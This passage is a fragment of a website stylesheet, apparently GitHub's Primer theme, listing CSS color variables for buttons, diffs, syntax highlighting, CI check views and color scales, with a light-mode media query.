10px rgba(0, 0, 0, 0.03), 0 22px 18px rgba(0, 0, 0, 0.03), 0 42px 33px rgba(0, 0, 0, 0.02), 0 100px 80px rgba(0, 0, 0, 0.02);--color-mktg-btn-shadow-hover-muted: rgb(0 0 0 / 70%) 0 0 0 2px inset;--color-avatar-bg: #ffffff;--color-avatar-border: rgba(27,31,36,0.15);--color-avatar-stack-fade: #afb8c1;--color-avatar-stack-fade-more: #d0d7de;--color-avatar-child-shadow: -2px -2px 0 rgba(255,255,255,0.8);--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: rgba(0,0,0,0);--color-select-menu-tap-highlight: rgba(175,184,193,0.5);--color-select-menu-tap-focus-bg: #b6e3ff;--color-overlay-shadow: 0 1px 3px rgba(27,31,36,0.12), 0 8px 24px rgba(66,74,83,0.12);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #24292f;--color-header-divider: #57606a;--color-header-logo: #ffffff;--color-header-search-bg: #24292f;--color-header-search-border: #57606a;--color-sidenav-selected-bg: #ffffff;--color-menu-bg-active: rgba(0,0,0,0);--color-input-disabled-bg: rgba(175,184,193,0.2);--color-timeline-badge-bg: #eaeef2;--color-ansi-black: #24292f;--color-ansi-black-bright: #57606a;--color-ansi-white: #6e7781;--color-ansi-white-bright: #8c959f;--color-ansi-gray: #6e7781;--color-ansi-red: #cf222e;--color-ansi-red-bright: #a40e26;--color-ansi-green: #116329;--color-ansi-green-bright: #1a7f37;--color-ansi-yellow: #4d2d00;--color-ansi-yellow-bright: #633c01;--color-ansi-blue: #0969da;--color-ansi-blue-bright: #218bff;--color-ansi-magenta: #8250df;--color-ansi-magenta-bright: #a475f9;--color-ansi-cyan: #1b7c83;--color-ansi-cyan-bright: #3192aa;--color-btn-text: #24292f;--color-btn-bg: #f6f8fa;--color-btn-border: rgba(27,31,36,0.15);--color-btn-shadow: 0 1px 0 rgba(27,31,36,0.04);--color-btn-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.25);--color-btn-hover-bg: #f3f4f6;--color-btn-hover-border: rgba(27,31,36,0.15);--color-btn-active-bg: hsla(220,14%,93%,1);--color-btn-active-border: rgba(27,31,36,0.15);--color-btn-selected-bg: hsla(220,14%,94%,1);--color-btn-focus-bg: #f6f8fa;--color-btn-focus-border: rgba(27,31,36,0.15);--color-btn-focus-shadow: 0 0 0 3px rgba(9,105,218,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(27,31,36,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(9,105,218,0.3);--color-btn-counter-bg: rgba(27,31,36,0.08);--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #2da44e;--color-btn-primary-border: rgba(27,31,36,0.15);--color-btn-primary-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-primary-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-primary-hover-bg: #2c974b;--color-btn-primary-hover-border: rgba(27,31,36,0.15);--color-btn-primary-selected-bg: hsla(137,55%,36%,1);--color-btn-primary-selected-shadow: inset 0 1px 0 rgba(0,45,17,0.2);--color-btn-primary-disabled-text: rgba(255,255,255,0.8);--color-btn-primary-disabled-bg: #94d3a2;--color-btn-primary-disabled-border: rgba(27,31,36,0.15);--color-btn-primary-focus-bg: #2da44e;--color-btn-primary-focus-border: rgba(27,31,36,0.15);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(45,164,78,0.4);--color-btn-primary-icon: rgba(255,255,255,0.8);--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #0969da;--color-btn-outline-hover-text: #ffffff;--color-btn-outline-hover-bg: #0969da;--color-btn-outline-hover-border: rgba(27,31,36,0.15);--color-btn-outline-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: hsla(212,92%,42%,1);--color-btn-outline-selected-border: rgba(27,31,36,0.15);--color-btn-outline-selected-shadow: inset 0 1px 0 rgba(0,33,85,0.2);--color-btn-outline-disabled-text: rgba(9,105,218,0.5);--color-btn-outline-disabled-bg: #f6f8fa;--color-btn-outline-disabled-counter-bg: rgba(9,105,218,0.05);--color-btn-outline-focus-border: rgba(27,31,36,0.15);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(5,80,174,0.4);--color-btn-outline-counter-bg: rgba(9,105,218,0.1);--color-btn-danger-text: #cf222e;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #a40e26;--color-btn-danger-hover-border: rgba(27,31,36,0.15);--color-btn-danger-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-danger-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: hsla(356,72%,44%,1);--color-btn-danger-selected-border: rgba(27,31,36,0.15);--color-btn-danger-selected-shadow: inset 0 1px 0 rgba(76,0,20,0.2);--color-btn-danger-disabled-text: rgba(207,34,46,0.5);--color-btn-danger-disabled-bg: #f6f8fa;--color-btn-danger-disabled-counter-bg: rgba(207,34,46,0.05);--color-btn-danger-focus-border: rgba(27,31,36,0.15);--color-btn-danger-focus-shadow: 0 0 0 3px rgba(164,14,38,0.4);--color-btn-danger-counter-bg: rgba(207,34,46,0.1);--color-btn-danger-icon: #cf222e;--color-btn-danger-hover-icon: #ffffff;--color-underlinenav-icon: #6e7781;--color-underlinenav-border-hover: rgba(175,184,193,0.2);--color-action-list-item-inline-divider: rgba(208,215,222,0.48);--color-action-list-item-default-hover-bg: rgba(208,215,222,0.32);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(208,215,222,0.48);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(208,215,222,0.24);--color-action-list-item-danger-hover-bg: rgba(255,235,233,0.64);--color-action-list-item-danger-active-bg: #FFEBE9;--color-action-list-item-danger-hover-text: #cf222e;--color-switch-track-bg: #eaeef2;--color-switch-track-border: #afb8c1;--color-switch-track-checked-bg: #ddf4ff;--color-switch-track-checked-hover-bg: #b6e3ff;--color-switch-track-checked-active-bg: #80ccff;--color-switch-track-checked-border: #54aeff;--color-switch-knob-checked-bg: #0969da;--color-switch-knob-checked-disabled-bg: #6e7781;--color-fg-default: #24292f;--color-fg-muted: #57606a;--color-fg-subtle: #6e7781;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #ffffff;--color-canvas-overlay: #ffffff;--color-canvas-inset: #f6f8fa;--color-canvas-subtle: #f6f8fa;--color-border-default: #d0d7de;--color-border-muted: hsla(210,18%,87%,1);--color-border-subtle: rgba(27,31,36,0.15);--color-shadow-small: 0 1px 0 rgba(27,31,36,0.04);--color-shadow-medium: 0 3px 6px rgba(140,149,159,0.15);--color-shadow-large: 0 8px 24px rgba(140,149,159,0.2);--color-shadow-extra-large: 0 12px 28px rgba(140,149,159,0.3);--color-neutral-emphasis-plus: #24292f;--color-neutral-emphasis: #6e7781;--color-neutral-muted: rgba(175,184,193,0.2);--color-neutral-subtle: rgba(234,238,242,0.5);--color-accent-fg: #0969da;--color-accent-emphasis: #0969da;--color-accent-muted: rgba(84,174,255,0.4);--color-accent-subtle: #ddf4ff;--color-success-fg: #1a7f37;--color-success-emphasis: #2da44e;--color-success-muted: rgba(74,194,107,0.4);--color-success-subtle: #dafbe1;--color-attention-fg: #9a6700;--color-attention-emphasis: #bf8700;--color-attention-muted: rgba(212,167,44,0.4);--color-attention-subtle: #fff8c5;--color-severe-fg: #bc4c00;--color-severe-emphasis: #bc4c00;--color-severe-muted: rgba(251,143,68,0.4);--color-severe-subtle: #fff1e5;--color-danger-fg: #cf222e;--color-danger-emphasis: #cf222e;--color-danger-muted: rgba(255,129,130,0.4);--color-danger-subtle: #FFEBE9;--color-open-fg: #1a7f37;--color-open-emphasis: #2da44e;--color-open-muted: rgba(74,194,107,0.4);--color-open-subtle: #dafbe1;--color-closed-fg: #cf222e;--color-closed-emphasis: #cf222e;--color-closed-muted: rgba(255,129,130,0.4);--color-closed-subtle: #FFEBE9;--color-done-fg: #8250df;--color-done-emphasis: #8250df;--color-done-muted: rgba(194,151,255,0.4);--color-done-subtle: #fbefff;--color-sponsors-fg: #bf3989;--color-sponsors-emphasis: #bf3989;--color-sponsors-muted: rgba(255,128,200,0.4);--color-sponsors-subtle: #ffeff7;--color-primer-fg-disabled: #8c959f;--color-primer-canvas-backdrop: rgba(27,31,36,0.5);--color-primer-canvas-sticky: rgba(255,255,255,0.95);--color-primer-border-active: #FD8C73;--color-primer-border-contrast: rgba(27,31,36,0.1);--color-primer-shadow-highlight: inset 0 1px 0 rgba(255,255,255,0.25);--color-primer-shadow-inset: inset 0 1px 0 rgba(208,215,222,0.2);--color-primer-shadow-focus: 0 0 0 3px rgba(9,105,218,0.3);--color-scale-black: #1b1f24;--color-scale-white: #ffffff;--color-scale-gray-0: #f6f8fa;--color-scale-gray-1: #eaeef2;--color-scale-gray-2: #d0d7de;--color-scale-gray-3: #afb8c1;--color-scale-gray-4: #8c959f;--color-scale-gray-5: #6e7781;--color-scale-gray-6: #57606a;--color-scale-gray-7: #424a53;--color-scale-gray-8: #32383f;--color-scale-gray-9: #24292f;--color-scale-blue-0: #ddf4ff;--color-scale-blue-1: #b6e3ff;--color-scale-blue-2: #80ccff;--color-scale-blue-3: #54aeff;--color-scale-blue-4: #218bff;--color-scale-blue-5: #0969da;--color-scale-blue-6: #0550ae;--color-scale-blue-7: #033d8b;--color-scale-blue-8: #0a3069;--color-scale-blue-9: #002155;--color-scale-green-0: #dafbe1;--color-scale-green-1: #aceebb;--color-scale-green-2: #6fdd8b;--color-scale-green-3: #4ac26b;--color-scale-green-4: #2da44e;--color-scale-green-5: #1a7f37;--color-scale-green-6: #116329;--color-scale-green-7: #044f1e;--color-scale-green-8: #003d16;--color-scale-green-9: #002d11;--color-scale-yellow-0: #fff8c5;--color-scale-yellow-1: #fae17d;--color-scale-yellow-2: #eac54f;--color-scale-yellow-3: #d4a72c;--color-scale-yellow-4: #bf8700;--color-scale-yellow-5: #9a6700;--color-scale-yellow-6: #7d4e00;--color-scale-yellow-7: #633c01;--color-scale-yellow-8: #4d2d00;--color-scale-yellow-9: #3b2300;--color-scale-orange-0: #fff1e5;--color-scale-orange-1: #ffd8b5;--color-scale-orange-2: #ffb77c;--color-scale-orange-3: #fb8f44;--color-scale-orange-4: #e16f24;--color-scale-orange-5: #bc4c00;--color-scale-orange-6: #953800;--color-scale-orange-7: #762c00;--color-scale-orange-8: #5c2200;--color-scale-orange-9: #471700;--color-scale-red-0: #FFEBE9;--color-scale-red-1: #ffcecb;--color-scale-red-2: #ffaba8;--color-scale-red-3: #ff8182;--color-scale-red-4: #fa4549;--color-scale-red-5: #cf222e;--color-scale-red-6: #a40e26;--color-scale-red-7: #82071e;--color-scale-red-8: #660018;--color-scale-red-9: #4c0014;--color-scale-purple-0: #fbefff;--color-scale-purple-1: #ecd8ff;--color-scale-purple-2: #d8b9ff;--color-scale-purple-3: #c297ff;--color-scale-purple-4: #a475f9;--color-scale-purple-5: #8250df;--color-scale-purple-6: #6639ba;--color-scale-purple-7: #512a97;--color-scale-purple-8: #3e1f79;--color-scale-purple-9: #2e1461;--color-scale-pink-0: #ffeff7;--color-scale-pink-1: #ffd3eb;--color-scale-pink-2: #ffadda;--color-scale-pink-3: #ff80c8;--color-scale-pink-4: #e85aad;--color-scale-pink-5: #bf3989;--color-scale-pink-6: #99286e;--color-scale-pink-7: #772057;--color-scale-pink-8: #611347;--color-scale-pink-9: #4d0336;--color-scale-coral-0: #FFF0EB;--color-scale-coral-1: #FFD6CC;--color-scale-coral-2: #FFB4A1;--color-scale-coral-3: #FD8C73;--color-scale-coral-4: #EC6547;--color-scale-coral-5: #C4432B;--color-scale-coral-6: #9E2F1C;--color-scale-coral-7: #801F0F;--color-scale-coral-8: #691105;--color-scale-coral-9: #510901}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme=light]{--color-canvas-default-transparent: rgba(255,255,255,0);--color-page-header-bg: #f6f8fa;--color-marketing-icon-primary: #218bff;--color-marketing-icon-secondary: #54aeff;--color-diff-blob-addition-num-text: #24292f;--color-diff-blob-addition-fg: #24292f;--color-diff-blob-addition-num-bg: #CCFFD8;--color-diff-blob-addition-line-bg: #E6FFEC;--color-diff-blob-addition-word-bg: #ABF2BC;--color-diff-blob-deletion-num-text: #24292f;--color-diff-blob-deletion-fg: #24292f;--color-diff-blob-deletion-num-bg: #FFD7D5;--color-diff-blob-deletion-line-bg: #FFEBE9;--color-diff-blob-deletion-word-bg: rgba(255,129,130,0.4);--color-diff-blob-hunk-num-bg: rgba(84,174,255,0.4);--color-diff-blob-expander-icon: #57606a;--color-diff-blob-selected-line-highlight-mix-blend-mode: multiply;--color-diffstat-deletion-border: rgba(27,31,36,0.15);--color-diffstat-addition-border: rgba(27,31,36,0.15);--color-diffstat-addition-bg: #2da44e;--color-search-keyword-hl: #fff8c5;--color-prettylights-syntax-comment: #6e7781;--color-prettylights-syntax-constant: #0550ae;--color-prettylights-syntax-entity: #8250df;--color-prettylights-syntax-storage-modifier-import: #24292f;--color-prettylights-syntax-entity-tag: #116329;--color-prettylights-syntax-keyword: #cf222e;--color-prettylights-syntax-string: #0a3069;--color-prettylights-syntax-variable: #953800;--color-prettylights-syntax-brackethighlighter-unmatched: #82071e;--color-prettylights-syntax-invalid-illegal-text: #f6f8fa;--color-prettylights-syntax-invalid-illegal-bg: #82071e;--color-prettylights-syntax-carriage-return-text: #f6f8fa;--color-prettylights-syntax-carriage-return-bg: #cf222e;--color-prettylights-syntax-string-regexp: #116329;--color-prettylights-syntax-markup-list: #3b2300;--color-prettylights-syntax-markup-heading: #0550ae;--color-prettylights-syntax-markup-italic: #24292f;--color-prettylights-syntax-markup-bold: #24292f;--color-prettylights-syntax-markup-deleted-text: #82071e;--color-prettylights-syntax-markup-deleted-bg: #FFEBE9;--color-prettylights-syntax-markup-inserted-text: #116329;--color-prettylights-syntax-markup-inserted-bg: #dafbe1;--color-prettylights-syntax-markup-changed-text: #953800;--color-prettylights-syntax-markup-changed-bg: #ffd8b5;--color-prettylights-syntax-markup-ignored-text: #eaeef2;--color-prettylights-syntax-markup-ignored-bg: #0550ae;--color-prettylights-syntax-meta-diff-range: #8250df;--color-prettylights-syntax-brackethighlighter-angle: #57606a;--color-prettylights-syntax-sublimelinter-gutter-mark: #8c959f;--color-prettylights-syntax-constant-other-reference-link: #0a3069;--color-codemirror-text: #24292f;--color-codemirror-bg: #ffffff;--color-codemirror-gutters-bg: #ffffff;--color-codemirror-guttermarker-text: #ffffff;--color-codemirror-guttermarker-subtle-text: #6e7781;--color-codemirror-linenumber-text: #57606a;--color-codemirror-cursor: #24292f;--color-codemirror-selection-bg: rgba(84,174,255,0.4);--color-codemirror-activeline-bg: rgba(234,238,242,0.5);--color-codemirror-matchingbracket-text: #24292f;--color-codemirror-lines-bg: #ffffff;--color-codemirror-syntax-comment: #24292f;--color-codemirror-syntax-constant: #0550ae;--color-codemirror-syntax-entity: #8250df;--color-codemirror-syntax-keyword: #cf222e;--color-codemirror-syntax-storage: #cf222e;--color-codemirror-syntax-string: #0a3069;--color-codemirror-syntax-support: #0550ae;--color-codemirror-syntax-variable: #953800;--color-checks-bg: #24292f;--color-checks-run-border-width: 0px;--color-checks-container-border-width: 0px;--color-checks-text-primary: #f6f8fa;--color-checks-text-secondary: #8c959f;--color-checks-text-link: #54aeff;--color-checks-btn-icon: #afb8c1;--color-checks-btn-hover-icon: #f6f8fa;--color-checks-btn-hover-bg: rgba(255,255,255,0.125);--color-checks-input-text: #eaeef2;--color-checks-input-placeholder-text: #8c959f;--color-checks-input-focus-text: #8c959f;--color-checks-input-bg: #32383f;--color-checks-input-shadow: none;--color-checks-donut-error: #fa4549;--color-checks-donut-pending: #bf8700;--color-checks-donut-success: #2da44e;--color-checks-donut-neutral: #afb8c1;--color-checks-dropdown-text: #afb8c1;--color-checks-dropdown-bg: #32383f;--color-checks-dropdown-border: #424a53;--color-checks-dropdown-shadow: rgba(27,31,36,0.3);--color-checks-dropdown-hover-text: #f6f8fa;--color-checks-dropdown-hover-bg: #424a53;--color-checks-dropdown-btn-hover-text: #f6f8fa;--color-checks-dropdown-btn-hover-bg: #32383f;--color-checks-scrollbar-thumb-bg: #57606a;--color-checks-header-label-text: #d0d7de;--color-checks-header-label-open-text: #f6f8fa;--color-checks-header-border: #32383f;--color-checks-header-icon: #8c959f;--color-checks-line-text: #d0d7de;--color-checks-line-num-text: rgba(140,149,159,0.75);--color-checks-line-timestamp-text: #8c959f;--color-checks-line-hover-bg: #32383f;--color-checks-line-selected-bg: rgba(33,139,255,0.15);--color-checks-line-selected-num-text: #54aeff;--color-checks-line-dt-fm-text: #24292f;--color-checks-line-dt-fm-bg: #9a6700;--color-checks-gate-bg: rgba(125,78,0,0.15);--color-checks-gate-text: #d0d7de;--color-checks-gate-waiting-text: #d4a72c;--color-checks-step-header-open-bg: #32383f;--color-checks-step-error-text: #ff8182;--color-checks-step-warning-text: #d4a72c;--color-checks-logline-text: #8c959f;--color-checks-logline-num-text: rgba(140,149,159,0.75);--color-checks-logline-debug-text: #c297ff;--color-checks-logline-error-text: #d0d7de;--color-checks-logline-error-num-text: #ff8182;--color-checks-logline-error-bg: rgba(164,14,38,0.15);--color-checks-logline-warning-text: #d0d7de;--color-checks-logline-warning-num-text: #d4a72c;--color-checks-logline-warning-bg: rgba(125,78,0,0.15);--color-checks-logline-command-text: #54aeff;--color-checks-logline-section-text: #4ac26b;--color-checks-ansi-black: #24292f;--color-checks-ansi-black-bright: #32383f;--color-checks-ansi-white: #d0d7de;--color-checks-ansi-white-bright: #d0d7de;--color-checks-ansi-gray: #8c959f;--color-checks-ansi-red: #ff8182;--color-checks-ansi-red-bright: #ffaba8;--color-checks-ansi-green: #4ac26b;--color-checks-ansi-green-bright: #6fdd8b;--color-checks-ansi-yellow: #d4a72c;--color-checks-ansi-yellow-bright: #eac54f;--color-checks-ansi-blue: #54aeff;--color-checks-ansi-blue-bright: #80ccff;--color-checks-ansi-magenta: #c297ff;--color-checks-ansi-magenta-bright: #d8b9ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #24292f;--color-project-sidebar-bg: #ffffff;--color-project-gradient-in: #ffffff;--color-project-gradient-out: rgba(255,255,255,0);--color-mktg-btn-bg: #1b1f23;--color-mktg-btn-shadow-outline: rgb(0 0 0 / 15%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(0 0 0 / 15%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 3px 2px rgba(0, 0, 0, 0.07), 0 7px 5px rgba(0, 0, 0, 0.04), 0 12px 10px rgba(0, 0, 0, 0.03), 0 22px 18px rgba(0, 0, 0, 0.03), 0 42px 33px rgba(0, 0, 0, 0.02), 0 100px 80px rgba(0, 0, 0, 0.02);--color-mktg-btn-shadow-hover-muted: rgb(0 0 0 / 70%) 0 0 0 2px inset;--color-avatar-bg: #ffffff;--color-avatar-border: rgba(27,31,36,0.15);--color-avatar-stack-fade: #afb8c1;--color-avatar-stack-fade-more: #d0d7de;--color-avatar-child-shadow: -2px -2px 0 rgba(255,255,255,0.8);--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: rgba(0,0,0,0);--color-select-menu-tap-highlight: rgba(175,184,193,0.5);--color-select-menu-tap-focus-bg: #b6e3ff;--color-overlay-shadow: 0 1px 3px rgba(27,31,36,0.12), 0 8px 24px rgba(66,74,83,0.12);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #24292f;--color-header-divider: #57606a;--color-header-logo: #ffffff;--color-header-search-bg: #24292f;--color-header-search-border: #57606a;--color-sidenav-selected-bg: #ffffff;--color-menu-bg-active: rgba(0,0,0,0);--color-input-disabled-bg: rgba(175,184,193,0.2);--color-timeline-badge-bg: #eaeef2;--color-ansi-black: #24292f;--color-ansi-black-bright: #57606a;--color-ansi-white: #6e7781;--color-ansi-white-bright: #8c959f;--color-ansi-gray: #6e7781;--color-ansi-red: #cf222e;--color-ansi-red-bright: #a40e26;--color-ansi-green: #116329;--color-ansi-green-bright: #1a7f37;--color-ansi-yellow: #4d2d00;--color-ansi-yellow-bright: #633c01;--color-ansi-blue: #0969da;--color-ansi-blue-bright: #218bff;--color-ansi-magenta: #8250df;--color-ansi-magenta-bright: #a475f9;--color-ansi-cyan: #1b7c83;--color-ansi-cyan-bright: #3192aa;--color-btn-text: #24292f;--color-btn-bg: #f6f8fa;--color-btn-border: rgba(27,31,36,0.15);--color-btn-shadow: 0 1px 0 rgba(27,31,36,0.04);--color-btn-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.25);--color-btn-hover-bg: #f3f4f6;--color-btn-hover-border: rgba(27,31,36,0.15);--color-btn-active-bg: hsla(220,14%,93%,1);--color-btn-active-border: rgba(27,31,36,0.15);--color-btn-selected-bg: hsla(220,14%,94%,1);--color-btn-focus-bg: #f6f8fa;--color-btn-focus-border: rgba(27,31,36,0.15);--color-btn-focus-shadow: 0 0 0 3px rgba(9,105,218,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(27,31,36,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(9,105,218,0.3);--color-btn-counter-bg: rgba(27,31,36,0.08);--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #2da44e;--color-btn-primary-border: rgba(27,31,36,0.15);--color-btn-primary-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-primary-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-primary-hover-bg: #2c974b;--color-btn-primary-hover-border: rgba(27,31,36,0.15);--color-btn-primary-selected-bg: hsla(137,55%,36%,1);--color-btn-primary-selected-shadow: inset 0 1px 0 rgba(0,45,17,0.2);--color-btn-primary-disabled-text: rgba(255,255,255,0.8);--color-btn-primary-disabled-bg: #94d3a2;--color-btn-primary-disabled-border: rgba(27,31,36,0.15);--color-btn-primary-focus-bg: #2da44e;--color-btn-primary-focus-border: rgba(27,31,36,0.15);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(45,164,78,0.4);--color-btn-primary-icon: rgba(255,255,255,0.8);--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #0969da;--color-btn-outline-hover-text: #ffffff;--color-btn-outline-hover-bg: #0969da;--color-btn-outline-hover-border: rgba(27,31,36,0.15);--color-btn-outline-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: hsla(212,92%,42%,1);--color-btn-outline-selected-border: rgba(27,31,36,0.15);--color-btn-outline-selected-shadow: inset 0 1px 0 rgba(0,33,85,0.2);--color-btn-outline-disabled-text: rgba(9,105,218,0.5);--color-btn-outline-disabled-bg: #f6f8fa;--color-btn-outline-disabled-counter-bg: rgba(9,105,218,0.05);--color-btn-outline-focus-border: rgba(27,31,36,0.15);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(5,80,174,0.4);--color-btn-outline-counter-bg: rgba(9,105,218,0.1);--color-btn-danger-text: #cf222e;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #a40e26;--color-btn-danger-hover-border: rgba(27,31,36,0.15);--color-btn-danger-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-danger-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: hsla(356,72%,44%,1);--color-btn-danger-selected-border: rgba(27,31,36,0.15);--color-btn-danger-selected-shadow: inset 0 1px 0 rgba(76,0,20,0.2);--color-btn-danger-disabled-text: rgba(207,34,46,0.5);--color-btn-danger-disabled-bg: #f6f8fa;--color-btn-danger-disabled-counter-bg: rgba(207,34,46,0.05);--color-btn-danger-focus-border: rgba(27,31,36,0.15);--color-btn-danger-focus-shadow: 0 0 0 3px rgba(164,14,38,0.4);--color-btn-danger-counter-bg: rgba(207,34,46,0.1);--color-btn-danger-icon: #cf222e;--color-btn-danger-hover-icon: #ffffff;--color-underlinenav-icon: #6e7781;--color-underlinenav-border-hover: rgba(175,184,193,0.2);--color-action-list-item-inline-divider: rgba(208,215,222,0.48);--color-action-list-item-default-hover-bg: rgba(208,215,222,0.32);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(208,215,222,0.48);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(208,215,222,0.24);--color-action-list-item-danger-hover-bg: rgba(255,235,233,0.64);--color-action-list-item-danger-active-bg: #FFEBE9;--color-action-list-item-danger-hover-text: #cf222e;--color-switch-track-bg: #eaeef2;--color-switch-track-border: #afb8c1;--color-switch-track-checked-bg: #ddf4ff;--color-switch-track-checked-hover-bg: #b6e3ff;--color-switch-track-checked-active-bg: #80ccff;--color-switch-track-checked-border: #54aeff;--color-switch-knob-checked-bg: #0969da;--color-switch-knob-checked-disabled-bg: #6e7781;--color-fg-default: #24292f;--color-fg-muted: #57606a;--color-fg-subtle: #6e7781;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #ffffff;--color-canvas-overlay: #ffffff;--color-canvas-inset: #f6f8fa;--color-canvas-subtle: #f6f8fa;--color-border-default: #d0d7de;--color-border-muted: hsla(210,18%,87%,1);--color-border-subtle: rgba(27,31,36,0.15);--color-shadow-small: 0 1px 0 rgba(27,31,36,0.04);--color-shadow-medium: 0 3px 6px rgba(140,149,159,0.15);--color-shadow-large: 0 8px 24px rgba(140,149,159,0.2);--color-shadow-extra-large: 0 12px 28px rgba(140,149,159,0.3);--color-neutral-emphasis-plus: #24292f;--color-neutral-emphasis: #6e7781;--color-neutral-muted: rgba(175,184,193,0.2);--color-neutral-subtle: rgba(234,238,242,0.5);--color-accent-fg: #0969da;--color-accent-emphasis: #0969da;--color-accent-muted: rgba(84,174,255,0.4);--color-accent-subtle: #ddf4ff;--color-success-fg: #1a7f37;--color-success-emphasis: #2da44e;--color-success-muted: rgba(74,194,107,0.4);--color-success-subtle: #dafbe1;--color-attention-fg: #9a6700;--color-attention-emphasis: #bf8700;--color-attention-muted: rgba(212,167,44,0.4);--color-attention-subtle: #fff8c5;--color-severe-fg: #bc4c00;--color-severe-emphasis: #bc4c00;--color-severe-muted: rgba(251,143,68,0.4);--color-severe-subtle: #fff1e5;--color-danger-fg: #cf222e;--color-danger-emphasis: #cf222e;--color-danger-muted: rgba(255,129,130,0.4);--color-danger-subtle: #FFEBE9;--color-open-fg: #1a7f37;--color-open-emphasis: #2da44e;--color-open-muted: rgba(74,194,107,0.4);--color-open-subtle: #dafbe1;--color-closed-fg: #cf222e;--color-closed-emphasis: #cf222e;--color-closed-muted: rgba(255,129,130,0.4);--color-closed-subtle: #FFEBE9;--color-done-fg: #8250df;--color-done-emphasis: #8250df;--color-done-muted: rgba(194,151,255,0.4);--color-done-subtle: #fbefff;--color-sponsors-fg: #bf3989;--color-sponsors-emphasis: #bf3989;--color-sponsors-muted: rgba(255,128,200,0.4);--color-sponsors-subtle: #ffeff7;--color-primer-fg-disabled: #8c959f;--color-primer-canvas-backdrop: rgba(27,31,36,0.5);--color-primer-canvas-sticky: rgba(255,255,255,0.95);--color-primer-border-active: #FD8C73;--color-primer-border-contrast: rgba(27,31,36,0.1);--color-primer-shadow-highlight: inset 0 1px 0 rgba(255,255,255,0.25);--color-primer-shadow-inset: inset 0 1px 0 rgba(208,215,222,0.2);--color-primer-shadow-focus: 0 0 0 3px rgba(9,105,218,0.3);--color-scale-black: #1b1f24;--color-scale-white: #ffffff;--color-scale-gray-0: #f6f8fa;--color-scale-gray-1: #eaeef2;--color-scale-gray-2: #d0d7de;--color-scale-gray-3: #afb8c1;--color-scale-gray-4: #8c959f;--color-scale-gray-5: #6e7781;--color-scale-gray-6: #57606a;--color-scale-gray-7: #424a53;--color-scale-gray-8: #32383f;--color-scale-gray-9: #24292f;--color-scale-blue-0: #ddf4ff;--color-scale-blue-1: #b6e3ff;--color-scale-blue-2: #80ccff;--color-scale-blue-3: #54aeff;--color-scale-blue-4: #218bff;--color-scale-blue-5: #0969da;--color-scale-blue-6: #0550ae;--color-scale-blue-7: #033d8b;--color-scale-blue-8: #0a3069;--color-scale-blue-9: #002155;--color-scale-green-0: #dafbe1;--color-scale-green-1: #aceebb;--color-scale-green-2: #6fdd8b;--color-scale-green-3: #4ac26b;--color-scale-green-4: #2da44e;--color-scale-green-5: #1a7f37;--color-scale-green-6: #116329;--color-scale-green-7: #044f1e;--color-scale-green-8: #003d16;--color-scale-green-9: #002d11;--color-scale-yellow-0: #fff8c5;--color-scale-yellow-1: #fae17d;--color-scale-yellow-2: #eac54f;--color-scale-yellow-3: #d4a72c;--color-scale-yellow-4: #bf8700;--color-scale-yellow-5: #9a6700;--color-scale-yellow-6: #7d4e00;--color-scale-yellow-7: #633c01;--color-scale-yellow-8: #4d2d00;--color-scale-yellow-9: #3b2300;--color-scale-orange-0: #fff1e5;--color-scale-orange-1: #ffd8b5;--color-scale-orange-2: #ffb77c;--color-scale-orange-3: 